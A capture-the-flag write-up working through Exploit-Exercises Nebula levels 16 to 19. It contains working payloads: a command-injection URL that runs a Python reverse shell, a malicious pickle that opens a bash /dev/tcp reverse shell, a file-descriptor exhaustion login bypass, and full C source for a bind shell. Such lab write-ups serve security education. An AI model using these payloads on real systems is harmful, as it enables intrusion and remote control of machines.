Exploit-Exercises: Nebula (16-19)
Image: Exploit-Exercises: Nebula (v5)
Level16
There is a perl script running on port 1616, source:
#!/usr/bin/env perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub login {
$username = $_[0];
$password = $_[1];
$username =~ tr/a-z/A-Z/; # conver to uppercase
$username =~ s/\s.*//; # strip everything after a space
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
foreach $line (@output) {
($usr, $pw) = split(/:/, $line);
if($pw =~ $password) {
return 1;
}
}
return 0;
}
sub htmlz {
print("<html><head><title>Login resuls</title></head><body>");
if($_[0] == 1) {
print("Your login was accepted<br/>");
} else {
print("Your login failed<br/>");
}
print("Would you like a cookie?<br/><br/></body></html>\n");
}
htmlz(login(param("username"), param("password")));
The service is running with flag16 privileges:
sh-4.2$ ps auxww | grep [f]lag16
flag16 1314 0.0 0.3 2592 836 ? Ss Jun18 0:01 /usr/sbin/thttpd -C /home/flag16/thttpd.conf
Clearly, there is RCE vulnerability (line 14), we can check it creating an arbitrary file:
sh-4.2$ wget -q -O /dev/null "http://192.168.80.136:1616/index.cgi?username=%24(>abcd)&password=x"
sh-4.2$ ls -l /home/flag16/ABCD
-rw-rw-r-- 1 flag16 flag16 0 2015-06-21 00:16 /home/flag16/ABCD
Only problem is that input is uppercased and everything after whitespace character is stripped:
$username =~ tr/a-z/A-Z/; # conver to uppercase
$username =~ s/\s.*//; # strip everything after a space
We tried several other methods without success. In the later case, the shell runs, but we cannot do anything useful:
http://192.168.80.136:1616/index.cgi?username=$(CMD=YES;${CMD~~})&password
http://192.168.80.136:1616/index.cgi?username=$($SHELL)&password
Our solution was to create uppercased file in /tmp/ and use * expansion, telling bash to find the correct directory.
sh-4.2$ cat SH
python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')" nebula 1337
sh-4.2$ chmod +x SH
sh-4.2$ nc -l 1337
# http://192.168.80.136:1616/index.cgi?username=$(/*/SH)
sh-4.2$ wget -q -O /dev/null "http://192.168.80.136:1616/index.cgi?username=%24(/%2A/SH)
flag16@nebula:/home/flag16$ getflag
getflag
You have successfully executed getflag on a target account
Level17
#!/usr/bin/python
import os
import pickle
import time
import socket
import signal
signal.signal(signal.SIGCHLD, signal.SIG_IGN)
def server(skt):
line = skt.recv(1024)
obj = pickle.loads(line)
for i in obj:
clnt.send("why did you send me " + i + "?\n")
skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)
while True:
clnt, addr = skt.accept()
if(os.fork() == 0):
clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
server(clnt)
exit(1)
According documentation it is
not safe to use data from untrusted source, so pickle.loads
on line 14 means RCE:
Warning The pickle module is not intended to be secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.
Our exploit for executing remote shell:
#!/usr/bin/env python
from cPickle import dumps
from os import system
class Exploit(object):
def __reduce__(self): return (system, ('bash -i >& /dev/tcp/0.0.0.0/1337 0>&1',))
print dumps(Exploit())
# Window 1:
sh-4.2$ nc -l 1337
# Window 2:
sh-4.2$ ./exploit.py
cposix
system
p1
(S'bash -i >& /dev/tcp/0.0.0.0/1337 0>&1'
p2
tp3
Rp4
.
sh-4.2$ ./exploit.py | nc nebula 10007
Accepted connection from 127.0.0.1:42532
# Window 1:
bash: no job control in this shell
flag17@nebula:/$ getflag
getflag
You have successfully executed getflag on a target account
Level18
According challenge info, there are several ways how to solve this challenge.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>
struct {
FILE *debugfile;
int verbose;
int loggedin;
} globals;
#define dprintf(...) if(globals.debugfile) \
fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
fprintf(globals.debugfile, __VA_ARGS__)
#define PWFILE "/home/flag18/password"
void login(char *pw)
{
FILE *fp;
fp = fopen(PWFILE, "r");
if(fp) {
char file[64];
if(fgets(file, sizeof(file) - 1, fp) == NULL) {
dprintf("Unable to read password file %s\n", PWFILE);
return;
}
fclose(fp);
if(strcmp(pw, file) != 0) return;
}
dprintf("logged in successfully (with%s password file)\n",
fp == NULL ? "out" : "");
globals.loggedin = 1;
}
void notsupported(char *what)
{
char *buffer = NULL;
asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
dprintf(what);
free(buffer);
}
void setuser(char *user)
{
char msg[128];
sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
printf("%s\n", msg);
}
int main(int argc, char **argv, char **envp)
{
char c;
while((c = getopt(argc, argv, "d:v")) != -1) {
switch(c) {
case 'd':
globals.debugfile = fopen(optarg, "w+");
if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
setvbuf(globals.debugfile, NULL, _IONBF, 0);
break;
case 'v':
globals.verbose++;
break;
}
}
dprintf("Starting up. Verbose level = %d\n", globals.verbose);
setresgid(getegid(), getegid(), getegid());
setresuid(geteuid(), geteuid(), geteuid());
while(1) {
char line[256];
char *p, *q;
q = fgets(line, sizeof(line)-1, stdin);
if(q == NULL) break;
p = strchr(line, '\n'); if(p) *p = 0;
p = strchr(line, '\r'); if(p) *p = 0;
dvprintf(2, "got [%s] as input\n", line);
if(strncmp(line, "login", 5) == 0) {
dvprintf(3, "attempting to login\n");
login(line + 6);
} else if(strncmp(line, "logout", 6) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "shell", 5) == 0) {
dvprintf(3, "attempting to start shell\n");
if(globals.loggedin) {
execve("/bin/sh", argv, envp);
err(1, "unable to execve");
}
dprintf("Permission denied\n");
} else if(strncmp(line, "logout", 4) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "closelog", 8) == 0) {
if(globals.debugfile) fclose(globals.debugfile);
globals.debugfile = NULL;
} else if(strncmp(line, "site exec", 9) == 0) {
notsupported(line + 10);
} else if(strncmp(line, "setuser", 7) == 0) {
setuser(line + 8);
}
}
return 0;
}
First thing that we tried was to use parameter -d /home/flag18/password
to
rewrite password file with the known output, however the strcmp()
doesn’t match
for the reason that we cannot insert the newline character to the end of our string.
The fclose()
on line 34 is not aligned, that’s strange. We found out that this call is not used in the binary file:
sh-4.2$ gdb -batch -ex 'file /home/flag18/flag18' -ex 'set disassembly-flavor intel' -ex 'disassemble login' | grep close
sh-4.2$
We can use login function to exhaust file descriptors, because when the fopen()
fails, we will be logged in. After a few tries:
sh-4.2$ help ulimit
[..snip..]
-n the maximum number of open file descriptors
[..snip..]
sh-4.2$ ulimit -n 8
sh-4.2$ /home/flag18/flag18 -d /dev/tty -vvv
Starting up. Verbose level = 3
login
got [login] as input
attempting to login
login
got [login] as input
attempting to login
login
got [login] as input
attempting to login
login
got [login] as input
attempting to login
login
got [login] as input
attempting to login
logged in successfully (without password file)
closelog
got [closelog] as input
shell
/home/flag18/flag18: -d: invalid option
Usage: /home/flag18/flag18 [GNU long option] [option] ...
/home/flag18/flag18 [GNU long option] [option] script-file ...
GNU long options:
--debug
--debugger
--dump-po-strings
--dump-strings
--help
--init-file
--login
--noediting
--noprofile
--norc
--posix
--protected
--rcfile
--restricted
--verbose
--version
Shell options:
-irsD or -c command or -O shopt_option (invocation only)
-abefhkmnptuvxBCHP or -o option
We used closelog
to close one used descriptor and the shell is invoked,
unfortunately we need to get rid of -d parameter too, bash is recycling
our argv, see execve("/bin/sh", argv, envp);
.
We tried --init-file
as it has the second argument some file:
sh-4.2$ ulimit -n 5
sh-4.2$ /home/flag18/flag18 --init-file -d /dev/tty -vvv
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'n'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 't'
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
Starting up. Verbose level = 3
login
got [login] as input
attempting to login
login
got [login] as input
attempting to login
logged in successfully (without password file)
closelog
got [closelog] as input
shell
id
uid=981(flag18) gid=1019(level18) groups=981(flag18),1019(level18)
getflag
You have successfully executed getflag on a target account
Second way is to use format string exploitation, line 48 is vulnerable at notsupported()
function.
For debugging, we downloaded gdb-peda
:
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
level18@nebula:/tmp$ gdb -q /home/flag18/flag18
Reading symbols from /home/flag18/flag18...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : ENABLED
NX : ENABLED
PIE : disabled
RELRO : Partial
Because the Fortify2, there was no easy way to solve it, technique from phrack #67 could be very useful.
There is also buffer overflow in setuser()
function, that doesn’t seem to be exploitable.
Level19
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
int main(int argc, char **argv, char **envp)
{
pid_t pid;
char buf[256];
struct stat statbuf;
/* Get the parent's /proc entry, so we can verify its user id */
snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());
/* stat() it */
if(stat(buf, &statbuf) == -1) {
printf("Unable to check parent process\n");
exit(EXIT_FAILURE);
}
/* check the owner id */
if(statbuf.st_uid == 0) {
/* If root started us, it is ok to start the shell */
execve("/bin/sh", argv, envp);
err(1, "Unable to execve");
}
printf("You are unauthorized to run this program\n");
}
To pass the last challenge, our process parent id should match uid 0. This could be easily achieved when the parent dies and the orphan process is adopted by init.
man 2 wait
A child that terminates, but has not been waited for becomes a "zombie". The
kernel maintains a minimal set of information about the zombie process (PID,
termination status, resource usage information) in order to allow the parent to
later perform a wait to obtain information about the child. As long as a
zombie is not removed from the system via a wait, it will consume a slot
in the kernel process table, and if this table fills, it will not be possible
to create further processes. If a parent process terminates, then its "zombie"
children (if any) are adopted by init(8), which automatically performs a wait
to remove the zombies.
Exploit:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char * argv) {
pid_t childpid = fork();
if (childpid == 0) { /* child */
char *cmd = "/home/flag19/flag19";
char *argv[] = { "/bin/sh", "-c", "/tmp/bindshell" };
sleep(3);
execv(cmd, argv);
} else { sleep(1); exit(1); }
}
Binding shell to port 2448, binary will be called from exploit.
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char **argv)
{
int sockfd;
int clientfd;
socklen_t cli_len;
struct sockaddr_in srv_addr;
struct sockaddr_in cli_addr;
srv_addr.sin_family = AF_INET;
srv_addr.sin_port = htons(2448);
srv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
bind(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));
listen(sockfd, 0);
/* accept new connections */
cli_len = sizeof(cli_addr)-1;
clientfd = accept(sockfd, (struct sockaddr *)&cli_addr, &cli_len );
dup2(clientfd, 0); /* replace 0 with clientfd */
dup2(0, 1); /* replace stdout & stderr */
dup2(0, 2);
setreuid(geteuid(), geteuid());
execv("/bin/sh", NULL);
}
sh-4.2$ cd /tmp
sh-4.2$ gcc bindshell.c -o bindshell
sh-4.2$ gcc exploit19.c -o exploit19
sh-4.2$ ./exploit19
sh-4.2$ nc 0 2448
id
uid=980(flag19) gid=1020(level19) groups=980(flag19),1020(level19)
getflag
You have successfully executed getflag on a target account